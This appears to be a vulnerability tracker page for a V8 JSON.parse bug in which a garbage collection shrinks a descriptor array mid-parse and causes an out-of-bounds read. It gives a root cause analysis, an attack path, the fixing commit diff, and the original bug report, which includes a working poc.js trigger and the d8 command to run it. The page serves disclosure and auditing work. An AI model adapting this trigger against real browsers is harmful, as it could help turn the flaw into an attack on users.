Medium watch ~ plausible CVSS 8.8 chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in V8
DescriptionInappropriate implementation in V8
ComponentV8
Sub-componentJSON
Bug ClassLogic Error
Action tierwatch — information disclosure — security-relevant, below the RCE-class bar — revised by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIPlausible (tier revised from patch-now)
Reviewer notes: Diff shows ParseJsonPropertyValue paths already 'continue'; the new check guards fall-through paths after 'the previous range check'. Advisory never says LogicError. Diff shows only an out-of-bounds descriptor read, not corruption; advisory rates it medium.
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker469143679
Fix commitc30fe0dc4475 (v8/v8) +5/-0
CWECWE-474
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
Credited303f06e3
Reported2025-12-16 · bounty $4000 (per vendor advisory)
Fix landed2025-12-18 (public git)
Disclosed2026-01-13
Patch gap26 days — fix public in source before the advisory

Background

Descriptor array
the DescriptorArray metadata object that lists a map’s own fast properties, whose length is reported by descriptors->number_of_descriptors().
Fast-path JSON object parsing
the routine in src/json/json-parser.cc that iterates a map’s descriptors to place parsed values directly into pre-shaped fast object slots.
`ParseJsonPropertyValue`
the helper that parses a single property’s value and can allocate, meaning it may trigger a garbage collection.
GC-induced shrinking
a garbage collection can trim or replace a DescriptorArray, so a bound computed before a GC may no longer hold afterward.

Root Cause Analysis

Verify before building a PoC

This analysis is consistent with the fixing commit but not fully provable from it: part of the vulnerable path lives in code the fix commit does not touch. Confirm the trigger and the sink against the source before relying on it for exploit development.
What the commit does not establish: Diff shows ParseJsonPropertyValue paths already 'continue'; the new check guards fall-through paths after 'the previous range check'. Advisory never says LogicError. Diff shows only an out-of-bounds descriptor read, not corruption; advisory rates it medium.

The changed loop first performs a range check against the descriptor array, then calls ParseJsonPropertyValue(key), which can allocate and therefore trigger a GC. During that GC the DescriptorArray can be shrunk, so the previously validated index idx.as_int() can now point beyond the array’s current length. On paths that did not already continue, control fell through to code that reads the descriptor at idx, dereferencing an entry past the live limit of the (now smaller) descriptor array. The invariant violated is that the index used to access descriptors must remain within descriptors->number_of_descriptors() at the moment of access, which no longer held after an intervening GC.

The fix re-validates idx.as_int() >= descriptors->number_of_descriptors() immediately before the descriptor access and breaks the loop when the bound has been exceeded, so no read occurs past the shrunk limit.

Key insight
The single mistake was reusing an index validated before a GC-triggering call (ParseJsonPropertyValue) to access the descriptor array afterward, when the array could have shrunk; the fix re-checks the bound on all fall-through paths right before the access and breaks the loop.

Attack Path

  1. Enter fast-path object parsing Supply JSON that drives the parser into the descriptor-iterating fast path where each key is matched against the map’s DescriptorArray.
  2. Trigger a GC mid-loop Craft property values so that ParseJsonPropertyValue(key) allocates and provokes a garbage collection during iteration.
  3. Shrink the descriptor array Arrange for that GC to shrink the DescriptorArray so its number_of_descriptors() drops below the loop index idx.as_int().
  4. Out-of-bounds descriptor read (inferred) On the unpatched fall-through path the stale idx is used to read a descriptor entry beyond the array’s current limit, an out-of-bounds read whose precise downstream effect is not shown in the diff.

Impact Assessment

An attacker who controls JSON parsed by the victim (renderer process) can cause an out-of-bounds read of the descriptor array by forcing a GC that shrinks it during parsing, an inappropriate implementation / logic error in V8. The precondition is reaching the fast descriptor-iteration path with an allocation-triggering value; the advisory classifies this as a LogicError with impact “Inappropriate implementation in V8” and does not report exploitation in the wild. Any escalation to information disclosure or memory corruption beyond the out-of-bounds descriptor access is (inferred).

Files Changed

  • src/json/json-parser.cc

Audit Directions

  • Stale bounds across GC-safepoints
    Audit loops that range-check an index, then call an allocating/GC-triggering helper, and reuse the same index to index heap arrays (DescriptorArray, FixedArray, etc.) without re-validation.
  • Descriptor array iteration
    Review every site that iterates DescriptorArray while running user-influenced callbacks or parsing, ensuring number_of_descriptors() is re-read after any potential GC.
  • Fall-through vs. early-continue paths
    Where a loop has multiple exit branches, verify that every non-continue path re-establishes invariants before shared access rather than assuming an earlier check still holds.
From c30fe0dc4475926fd74ca20a9bfc510a658bc0e5 Mon Sep 17 00:00:00 2001
From: pthier <pthier@chromium.org>
Date: Thu, 18 Dec 2025 12:56:22 +0100
Subject: [PATCH] [json] Parser: Ensure descriptor array access is in bounds

A GC could shrink the descriptor array. Ensure that we early break the
loop on all paths to prevent reading beyond the limit.

Fixed: 469143679
Change-Id: I9ac5851ffd9454ad13302171d45349d3fb73786a
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7274717
Commit-Queue: Patrick Thier <pthier@chromium.org>
Reviewed-by: Igor Sheludko <ishell@chromium.org>
Cr-Commit-Position: refs/heads/main@{#104407}
---

diff --git a/src/json/json-parser.cc b/src/json/json-parser.cc
index 968b394..5bc2983 100644
--- a/src/json/json-parser.cc
+++ b/src/json/json-parser.cc
@@ -1653,6 +1653,11 @@
           if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false;
           continue;
         }
+        // Before accessing the descriptor array, make sure that it wasn't
+        // shrunk during a potential GC after the previous range check.
+        if (V8_UNLIKELY(idx.as_int() >= descriptors->number_of_descriptors())) {
+          break;
+        }
         // Check if the key is fast iterable.
         // Some of the checks below are not relevant for the parser, but are
         // requirements for fast iterable keys in general (e.g. for
Loading diff…

Original Bug Report

reported by hu...@gmail.com

JSON.parse(): Out-of-bounds access on DescriptorArray

VULNERABILITY DETAILS

This is an issue similar to issues/423459708, and the previous fix was incomplete. The problem also occurs in ParseJsonObjectProperties(), which is a method used to parse the keys and values of all fields in an object.

ParseJsonObjectProperties() has three implementation paths: kJsonSlow, kJsonFast, and kJsonUnknown. If an object of a certain Map is being serialized for the first time, it will enter the kJsonUnknown path.

template <typename Char>
template <DescriptorArray::FastIterableState fast_iterable_state>
bool JsonParser<Char>::ParseJsonObjectProperties(
    JsonContinuation* cont, MessageTemplate first_token_msg,
    Handle<DescriptorArray> descriptors) {
  using FastIterableState = DescriptorArray::FastIterableState;
  if constexpr (fast_iterable_state == FastIterableState::kJsonSlow) {
    ...
  } else {
    InternalIndex idx{0};
    do {
      EXPECT_NEXT_RETURN_ON_ERROR(JsonToken::STRING, first_token_msg, false);
      first_token_msg = MessageTemplate::kJsonParseExpectedDoubleQuotedPropertyName;
      bool key_match;
      if constexpr (fast_iterable_state == FastIterableState::kJsonFast) {
        ...
      } else {    // Unknown
        // Parse a string from json as the field name.
        JsonString key = ScanJsonPropertyKey(cont);
        ...

        Tagged<Name> property_name = descriptors->GetKey(idx);
        bool is_slow = key.has_escape();
        // Check that the property is enumerable and located in field.
        PropertyDetails details = descriptors->GetDetails(idx);
        if (V8_UNLIKELY(details.IsDontEnum() ||
                        details.location() != PropertyLocation::kField)) {
          is_slow = true;
        }
        // Symbol property keys are slow.
        if (V8_UNLIKELY(IsSymbol(property_name))) {
          is_slow = true;
        }

        // Check if the field name in the JSON matches the property name in the descriptor array.
        key_match = false;
        if (V8_LIKELY(!is_slow)) {
          DisallowGarbageCollection no_gc;
          // Property key is known to be fast so far, so it is guaranteed to
          // be a string.
          Tagged<String> expected_key = Cast<String>(property_name);
          Tagged<Map> key_map = expected_key->map();
          if (InstanceTypeChecker::IsTwoByteString(key_map)) {
            // Two-byte keys are slow.
            is_slow = true;
          } else {
            const uint8_t* expected_chars = GetFastKeyChars(isolate_, expected_key, key_map, no_gc);
            const uint32_t key_length = expected_key->length();
            key_match = FastKeyMatch(expected_chars, key_length, key);
          }
        }

        if (V8_UNLIKELY(is_slow)) {
          descriptors->set_fast_iterable(FastIterableState::kJsonSlow);
        }

       if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false;

        if (V8_UNLIKELY(is_slow || !key_match)) {
            ...
        }
        ++idx;
      }
    } while (idx < InternalIndex(descriptors->number_of_descriptors()) && Check<JsonToken::COMMA>());
    ...
  }

  return true;
}

The cause of the previous issue (issues/423459708) was:

  • Before entering the do-while loop, the function pre-saved descriptors->number_of_descriptors() into a variable descriptors_end.
  • When calling ParseJsonPropertyValue() to parse a field value, memory is allocated, which triggers a GC and causes the descriptors array to shrink.
  • Since idx < descriptors_end, the loop continues, leading to an OOB access when executing descriptors->GetDetails(idx).

This issue is similar. ScanJsonPropertyKey() is responsible for parsing a string from the JSON. However, when processing "B, because it is not a complete string, it enters ReportUnexpectedToken() to generate an error message and throw an exception. Note: GC is allowed when executing ReportUnexpectedToken(), so a GC can be triggered during the error message generation process, causing the descriptors to shrink.

template <typename Char>
JsonString JsonParser<Char>::ScanJsonString(bool needs_internalization) {
  DisallowGarbageCollection no_gc;
  ...

  while (true) {
    ...
    if (V8_UNLIKELY(is_at_end())) {
      AllowGarbageCollection allow_before_exception;
      ReportUnexpectedToken(JsonToken::ILLEGAL,
                            MessageTemplate::kJsonParseUnterminatedString);
      break;
    }
    ...
  }
  return JsonString();
}

Therefore, during the execution of the PoC, the ParseJsonArray() execution process is as follows:

First, the object corresponding to {"A": 0} is parsed, and MapA is obtained as feedback. Note: feedback->descriptors has two entries.

Then, ParseJsonValueRecursive(feedback) is called to parse the subsequent object, which will then call ParseJsonObjectProperties() to parse the two fields in {"A": 0,"B.

  1. After parsing the first field "A": 0, the do-while loop check is performed: idx=1, descriptors->number_of_descriptors()=2, so the loop continues.
  2. When parsing the second field “B:
    1. ScanJsonPropertyKey() is called to parse a string, which in turn calls ScanJsonString().
      1. Since "B is not a complete string object, ReportUnexpectedToken() is called to report an error.
      2. During the error reporting, memory is allocated, triggering a GC, which causes the descriptors to shrink.
      3. An empty string JsonString() is returned.
    2. The do-while loop does not handle the error from ScanJsonString() and continues to execute descriptors->GetKey(idx). At this point, descriptors has only one entry, while idx=1, leading to an out-of-bounds access.

I believe the root cause is the incomplete handling of ScanJsonPropertyKey() failure. If ScanJsonPropertyKey() returns an empty string, the loop should stop immediately.

The problematic code was introduced in commit 5fdab0114d1211e11bce1c74b40fc5e57b4942e6, which attempted to fix issues/423459708 but was unsuccessful.

REPRODUCTION CASE

poc.js:

// Incomplete JSON, JSON.parse() will throw an exception when handling `"B`
const jsonStr = `
[
    {
        "A": 0
    },
    {
        "A": 0,
        "B
`;

// prepare map transition: MapA --add-property(B)--> MapB
// MapA and MapB shared same descriptors
let o1 = {A: 0};    // own 1 entry
let o2 = {A: 0};    // own 2 entry
o2.B = 1;

// %DebugPrint(o1);

// clear reference, no objects use MapB, 
// so only one entry in MapA->descriptors is actually used, and it will shrink during GC.
o2 = null;

// trigger GC to shrink descriptors array in `ReportUnexpectedToken()`
%SetAllocationTimeout(-1, 5);

// trigger crash
try {
    JSON.parse(jsonStr);
} catch(e) {
}

V8 must be built with a debug configuration, Execute v8 as follows:

./d8 \
    --allow-natives-syntax \
    --predictable \
    --predictable-gc-schedule \
    ./poc.js

This will result in the following crash:

#
# Fatal error in ../../src/objects/descriptor-array-inl.h, line 231
# Debug check failed: descriptor_number.as_int() < number_of_descriptors() (1 vs. 1).
#

CREDIT INFORMATION

Reporter credit: [303f06e3]

View on issue tracker